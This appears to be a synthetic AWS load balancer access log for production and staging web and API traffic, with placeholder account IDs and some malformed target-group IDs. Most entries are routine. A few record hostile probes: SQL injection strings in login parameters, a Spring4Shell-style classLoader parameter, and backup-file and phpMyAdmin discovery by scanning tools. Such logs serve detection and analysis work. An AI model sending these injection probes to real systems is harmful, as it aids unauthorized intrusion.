+https 2024-11-01T02:50:42.423563Z prod-web-alb 128.245.73.222:23994 10.0.90.185:443 0.002242 0.362276 0.053302 302 302 307 6280 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df92-c96229f11ec546898df505f8" "prod-web-alb.example.com" "-" 9 2024-11-01T02:50:42.423563Z "forward" "-" "-" "10.0.90.185:443" "302" "-" "-" +https 2024-11-01T02:50:44.203411Z prod-web-alb 39.198.156.204:43556 10.0.191.155:443 0.054246 0.267883 0.043380 302 302 50 2071 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df94-b05a669808284a938dee0d76" "prod-web-alb.example.com" "-" 0 2024-11-01T02:50:44.203411Z "forward" "-" "-" "10.0.191.155:443" "302" "-" "-" +https 2024-11-01T02:50:45.876865Z staging-alb 18.192.216.175:18359 44.189.85.59:8080 0.090197 0.112167 0.034204 301 301 468 6482 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df95-8c459f4c6cb64219a2ef76a0" "staging-alb.example.com" "-" 6 2024-11-01T02:50:45.876865Z "forward" "-" "-" "44.189.85.59:8080" "301" "-" "-" +https 2024-11-01T02:50:47.067202Z prod-api-alb 39.107.36.13:61215 10.0.92.163:443 0.010625 0.242004 0.073475 200 200 25 12711 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df97-dbe72d3fd8da4f3984485d71" "prod-api-alb.example.com" "-" 2 2024-11-01T02:50:47.067202Z "forward" "-" "-" "10.0.92.163:443" "200" "-" "-" +https 2024-11-01T02:50:47.468052Z staging-alb 232.4.203.107:45698 6.237.250.209:80 0.109911 0.013570 0.042813 302 302 93 5442 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df97-afcb350279b94d4aa5cc55de" "staging-alb.example.com" "-" 8 2024-11-01T02:50:47.468052Z "forward" "-" "-" "6.237.250.209:80" "302" "-" "-" +https 2024-11-01T02:50:47.621423Z prod-web-alb 193.27.228.31:36704 10.0.33.131:443 0.041181 0.258511 0.025562 500 500 349 11576 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df97-95dc55238e044440a7dbc925" "-" "-" 10 2024-11-01T02:50:47.621423Z "forward" "-" "-" "10.0.33.131:443" "500" "-" "-" +http 2024-11-01T02:50:48.536998Z staging-alb 45.155.205.109:26527 61.125.142.215:80 0.087947 0.064809 0.136697 404 404 647 14211 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df98-d474536c671e4e558187bc89" "-" "-" 3 2024-11-01T02:50:48.536998Z "forward" "-" "-" "61.125.142.215:80" "404" "-" "-" +https 2024-11-01T02:50:49.614783Z prod-api-alb 61.167.142.254:14778 10.0.84.153:443 0.053329 0.428839 0.062379 302 302 366 12698 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df99-0eeb3c6cea0741c5a252fe7a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:49.614783Z "forward" "-" "-" "10.0.84.153:443" "302" "-" "-" +https 2024-11-01T02:50:50.591742Z prod-api-alb 69.175.179.171:28216 10.0.5.205:443 0.008422 0.153771 0.014632 302 302 359 9408 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df9a-02b79455c95f4851b84dfab9" "prod-api-alb.example.com" "-" 7 2024-11-01T02:50:50.591742Z "forward" "-" "-" "10.0.5.205:443" "302" "-" "-" +http 2024-11-01T02:50:51.499746Z staging-alb 119.174.65.40:45278 231.122.215.240:8080 0.084453 0.119618 0.000371 200 200 569 1365 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df9b-eda097b85be94652a11f6651" "staging-alb.example.com" "-" 4 2024-11-01T02:50:51.499746Z "forward" "-" "-" "231.122.215.240:8080" "200" "-" "-" +https 2024-11-01T02:50:52.906094Z prod-api-alb 184.86.157.57:12212 10.0.175.148:443 0.019340 0.182898 0.048814 404 404 379 13725 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df9c-543a8c3cd47b442381bd2441" "prod-api-alb.example.com" "-" 9 2024-11-01T02:50:52.906094Z "forward" "-" "-" "10.0.175.148:443" "404" "-" "-" +https 2024-11-01T02:50:53.223580Z prod-web-alb 116.249.191.24:29197 10.0.254.45:443 0.049805 0.444610 0.077365 200 200 363 3950 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df9d-9fdf7e922ebc4083bf425134" "-" "-" 1 2024-11-01T02:50:53.223580Z "forward" "-" "-" "10.0.254.45:443" "200" "-" "-" +https 2024-11-01T02:50:53.591622Z prod-web-alb 198.105.113.23:21665 10.0.166.182:443 0.005066 0.045402 0.047845 200 200 80 13625 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df9d-b5f118f3d6624848b2f0db5e" "prod-web-alb.example.com" "-" 7 2024-11-01T02:50:53.591622Z "forward" "-" "-" "10.0.166.182:443" "200" "-" "-" +https 2024-11-01T02:50:55.513336Z staging-alb 172.74.14.215:63448 75.59.35.147:80 0.130466 0.242238 0.079670 301 301 656 14146 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df9f-dfe443b191254e05b757c64f" "staging-alb.example.com" "-" 5 2024-11-01T02:50:55.513336Z "forward" "-" "-" "75.59.35.147:80" "301" "-" "-" +http 2024-11-01T02:50:56.722632Z staging-alb 2.91.136.25:38524 246.66.176.6:8080 0.062798 0.081265 0.041679 301 301 796 6703 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa0-e6ddceb0567b43c09255ab38" "staging-alb.example.com" "-" 9 2024-11-01T02:50:56.722632Z "forward" "-" "-" "246.66.176.6:8080" "301" "-" "-" +http 2024-11-01T02:50:58.552038Z staging-alb 221.56.137.24:48600 180.38.171.131:443 0.143163 0.039526 0.107905 200 200 81 14984 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfa2-61cfc57c02f44235a70935f0" "staging-alb.example.com" "-" 5 2024-11-01T02:50:58.552038Z "forward" "-" "-" "180.38.171.131:443" "200" "-" "-" +https 2024-11-01T02:51:00.095911Z prod-api-alb 219.71.46.141:51471 10.0.51.236:443 0.077981 0.006192 0.031173 302 302 409 6824 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfa4-a2857151975b434f9d63460b" "prod-api-alb.example.com" "-" 1 2024-11-01T02:51:00.095911Z "forward" "-" "-" "10.0.51.236:443" "302" "-" "-" +https 2024-11-01T02:51:01.154453Z prod-web-alb 221.50.139.214:31703 10.0.60.31:443 0.088594 0.307474 0.044273 301 301 970 8505 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfa5-3489379a23124976a8848324" "prod-web-alb.example.com" "-" 8 2024-11-01T02:51:01.154453Z "forward" "-" "-" "10.0.60.31:443" "301" "-" "-" +https 2024-11-01T02:51:01.987534Z staging-alb 77.50.238.167:56001 225.158.153.3:8080 0.031449 0.204924 0.105195 404 404 814 3572 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa5-8fa1a0e549434a24877c153b" "staging-alb.example.com" "-" 10 2024-11-01T02:51:01.987534Z "forward" "-" "-" "225.158.153.3:8080" "404" "-" "-" +https 2024-11-01T02:51:02.260830Z staging-alb 94.25.114.89:64070 166.191.26.251:80 0.063743 0.352873 0.074679 404 404 947 14854 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa6-abc7fdaa9ebe4b9f8d4045d0" "staging-alb.example.com" "-" 10 2024-11-01T02:51:02.260830Z "forward" "-" "-" "166.191.26.251:80" "404" "-" "-" +https 2024-11-01T02:51:03.352016Z prod-web-alb 50.177.158.212:23665 10.0.173.216:443 0.065363 0.455668 0.054860 301 301 806 14264 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfa7-8621b45c07ff4023b3a0ce4f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:51:03.352016Z "forward" "-" "-" "10.0.173.216:443" "301" "-" "-" +https 2024-11-01T02:51:04.095594Z prod-web-alb 165.4.167.40:19902 10.0.253.40:443 0.001037 0.270200 0.071537 200 200 210 3106 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfa8-5eea57b0bbcf4dceb082427d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:04.095594Z "forward" "-" "-" "10.0.253.40:443" "200" "-" "-" +https 2024-11-01T02:51:05.490724Z prod-api-alb 8.193.217.128:14980 10.0.239.122:443 0.038024 0.444937 0.042882 200 200 249 5787 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfa9-d488124852bb4bb1b63a5056" "prod-api-alb.example.com" "-" 0 2024-11-01T02:51:05.490724Z "forward" "-" "-" "10.0.239.122:443" "200" "-" "-" +https 2024-11-01T02:51:05.695897Z staging-alb 118.224.168.57:29744 181.226.236.21:8080 0.032423 0.156895 0.095330 302 302 632 7517 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa9-229ceefdfdc243319182fc62" "staging-alb.example.com" "-" 10 2024-11-01T02:51:05.695897Z "forward" "-" "-" "181.226.236.21:8080" "302" "-" "-" +https 2024-11-01T02:51:06.394674Z prod-api-alb 193.27.228.247:20152 10.0.128.135:443 0.056943 0.432056 0.079275 302 302 167 12469 "GET /config.php~ HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfaa-079cb4ef6f194f0c8b0cefda" "-" "-" 3 2024-11-01T02:51:06.394674Z "forward" "-" "-" "10.0.128.135:443" "302" "-" "-" +http 2024-11-01T02:51:07.758716Z staging-alb 75.180.102.46:20529 23.165.250.197:80 0.008630 0.611241 0.097130 302 302 159 5509 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfab-4b0828c1294e4a3bb28ab48d" "staging-alb.example.com" "-" 10 2024-11-01T02:51:07.758716Z "forward" "-" "-" "23.165.250.197:80" "302" "-" "-" +https 2024-11-01T02:51:08.506234Z prod-api-alb 45.155.205.59:59907 10.0.123.69:443 0.089865 0.304986 0.030248 403 403 371 2473 "GET /phpmyadmin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfac-cfcca4d3938c4ba7b94caa89" "-" "-" 10 2024-11-01T02:51:08.506234Z "forward" "-" "-" "10.0.123.69:443" "403" "-" "-" +https 2024-11-01T02:51:09.914389Z prod-web-alb 50.62.148.223:15184 10.0.140.181:443 0.044048 0.333693 0.051465 200 200 23 13480 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfad-7c4789b59b29483d9de0dc02" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:09.914389Z "forward" "-" "-" "10.0.140.181:443" "200" "-" "-" +https 2024-11-01T02:51:10.480604Z prod-api-alb 29.123.147.84:57737 10.0.92.173:443 0.058725 0.472486 0.038287 200 200 183 4904 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfae-d16b1e2adf634ec6905e48cb" "prod-api-alb.example.com" "-" 2 2024-11-01T02:51:10.480604Z "forward" "-" "-" "10.0.92.173:443" "200" "-" "-" +https 2024-11-01T02:51:11.325034Z prod-api-alb 195.7.67.230:27032 10.0.135.4:443 0.069206 0.031901 0.093120 404 404 233 9888 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfaf-def3348a91f54101a3acc54b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:11.325034Z "forward" "-" "-" "10.0.135.4:443" "404" "-" "-" +https 2024-11-01T02:51:12.902104Z prod-api-alb 229.150.120.240:47676 10.0.16.173:443 0.024736 0.413807 0.006380 200 200 658 366 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfb0-b05dca31d4d64369b8735c86" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:12.902104Z "forward" "-" "-" "10.0.16.173:443" "200" "-" "-" +https 2024-11-01T02:51:13.681921Z prod-web-alb 187.161.171.47:36811 10.0.213.194:443 0.043956 0.286112 0.019386 200 200 728 2866 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfb1-e9386640c26542c4b11dce66" "prod-web-alb.example.com" "-" 4 2024-11-01T02:51:13.681921Z "forward" "-" "-" "10.0.213.194:443" "200" "-" "-" +https 2024-11-01T02:51:15.443698Z prod-api-alb 133.12.180.24:28320 10.0.250.199:443 0.088264 0.170467 0.014203 200 200 812 3353 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfb3-ad6f123ec2e9467a887826f4" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:15.443698Z "forward" "-" "-" "10.0.250.199:443" "200" "-" "-" +https 2024-11-01T02:51:16.667166Z prod-web-alb 198.221.193.222:22354 10.0.129.32:443 0.071527 0.183577 0.035125 200 200 169 5035 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfb4-93ff15ebcba44296b3b8c857" "prod-web-alb.example.com" "-" 2 2024-11-01T02:51:16.667166Z "forward" "-" "-" "10.0.129.32:443" "200" "-" "-" +https 2024-11-01T02:51:17.520497Z prod-web-alb 77.120.102.21:25083 10.0.86.116:443 0.030073 0.188749 0.001483 200 200 262 7891 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfb5-66e62791f40841339bd87877" "prod-web-alb.example.com" "-" 6 2024-11-01T02:51:17.520497Z "forward" "-" "-" "10.0.86.116:443" "200" "-" "-" +http 2024-11-01T02:51:18.758025Z staging-alb 86.155.132.183:43174 84.194.21.150:8080 0.018177 0.440242 0.051946 200 200 745 5651 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfb6-8ec88b0c098546f9bc9e7348" "staging-alb.example.com" "-" 0 2024-11-01T02:51:18.758025Z "forward" "-" "-" "84.194.21.150:8080" "200" "-" "-" +https 2024-11-01T02:51:19.955812Z prod-api-alb 99.216.97.185:49893 10.0.182.129:443 0.045602 0.166753 0.078907 200 200 585 1812 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfb7-fbd31bd29c7a4912885b2f48" "prod-api-alb.example.com" "-" 9 2024-11-01T02:51:19.955812Z "forward" "-" "-" "10.0.182.129:443" "200" "-" "-" +https 2024-11-01T02:51:21.869705Z prod-web-alb 158.82.100.155:18715 10.0.221.230:443 0.001554 0.104760 0.012145 200 200 498 4787 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfb9-5932321d9dc1449a919ecd2e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:51:21.869705Z "forward" "-" "-" "10.0.221.230:443" "200" "-" "-" +https 2024-11-01T02:51:23.770493Z prod-web-alb 254.92.5.40:21953 10.0.74.131:443 0.081605 0.397863 0.099455 200 200 940 8772 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfbb-7c2d52bc6fc54792b533e075" "prod-web-alb.example.com" "-" 4 2024-11-01T02:51:23.770493Z "forward" "-" "-" "10.0.74.131:443" "200" "-" "-" +http 2024-11-01T02:51:25.098988Z staging-alb 150.38.197.119:52886 144.31.33.49:443 0.059627 0.355077 0.133270 200 200 550 4874 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfbd-526003ce81cc4ff4a9bf197a" "staging-alb.example.com" "-" 9 2024-11-01T02:51:25.098988Z "forward" "-" "-" "144.31.33.49:443" "200" "-" "-" +http 2024-11-01T02:51:26.429429Z staging-alb 244.129.6.244:54358 32.10.220.84:8080 0.118522 0.224955 0.118738 301 301 892 7410 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfbe-df8971f46d3d4cd28ba4065a" "staging-alb.example.com" "-" 2 2024-11-01T02:51:26.429429Z "forward" "-" "-" "32.10.220.84:8080" "301" "-" "-" +https 2024-11-01T02:51:27.794412Z prod-web-alb 245.92.103.95:29209 10.0.137.151:443 0.012637 0.237798 0.001728 200 200 669 5812 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfbf-16394b876eed46d398373d1b" "prod-web-alb.example.com" "-" 9 2024-11-01T02:51:27.794412Z "forward" "-" "-" "10.0.137.151:443" "200" "-" "-" +https 2024-11-01T02:51:28.711187Z prod-web-alb 197.95.49.67:46510 10.0.59.249:443 0.080663 0.413239 0.045910 200 200 944 13049 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfc0-eb0dd769e3414b2da0267cf0" "prod-web-alb.example.com" "-" 4 2024-11-01T02:51:28.711187Z "forward" "-" "-" "10.0.59.249:443" "200" "-" "-" +https 2024-11-01T02:51:29.750165Z prod-api-alb 203.210.212.84:57452 10.0.87.129:443 0.095087 0.096200 0.041182 302 302 5 6638 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfc1-d732128798b7408d9cbbb8c2" "prod-api-alb.example.com" "-" 0 2024-11-01T02:51:29.750165Z "forward" "-" "-" "10.0.87.129:443" "302" "-" "-" +https 2024-11-01T02:51:30.725820Z prod-api-alb 79.63.89.184:28420 10.0.60.30:443 0.074697 0.241961 0.018985 200 200 152 12593 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfc2-edf467d6355b42518df81027" "prod-api-alb.example.com" "-" 9 2024-11-01T02:51:30.725820Z "forward" "-" "-" "10.0.60.30:443" "200" "-" "-" +https 2024-11-01T02:51:31.248172Z staging-alb 152.101.94.161:45279 210.19.118.202:80 0.090035 0.691179 0.087724 301 301 662 6492 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfc3-38a712d9c38d430bb0a64fdf" "staging-alb.example.com" "-" 6 2024-11-01T02:51:31.248172Z "forward" "-" "-" "210.19.118.202:80" "301" "-" "-" +https 2024-11-01T02:51:32.631205Z prod-web-alb 193.27.228.82:13379 10.0.173.217:443 0.060380 0.158342 0.012280 500 500 267 5678 "GET /login?id=1'-- HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfc4-b21ebdea62584829a8a47a6a" "-" "-" 5 2024-11-01T02:51:32.631205Z "forward" "-" "-" "10.0.173.217:443" "500" "-" "-" +https 2024-11-01T02:51:33.360026Z prod-api-alb 219.113.172.189:25506 10.0.65.147:443 0.053112 0.497163 0.035612 301 301 263 7015 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 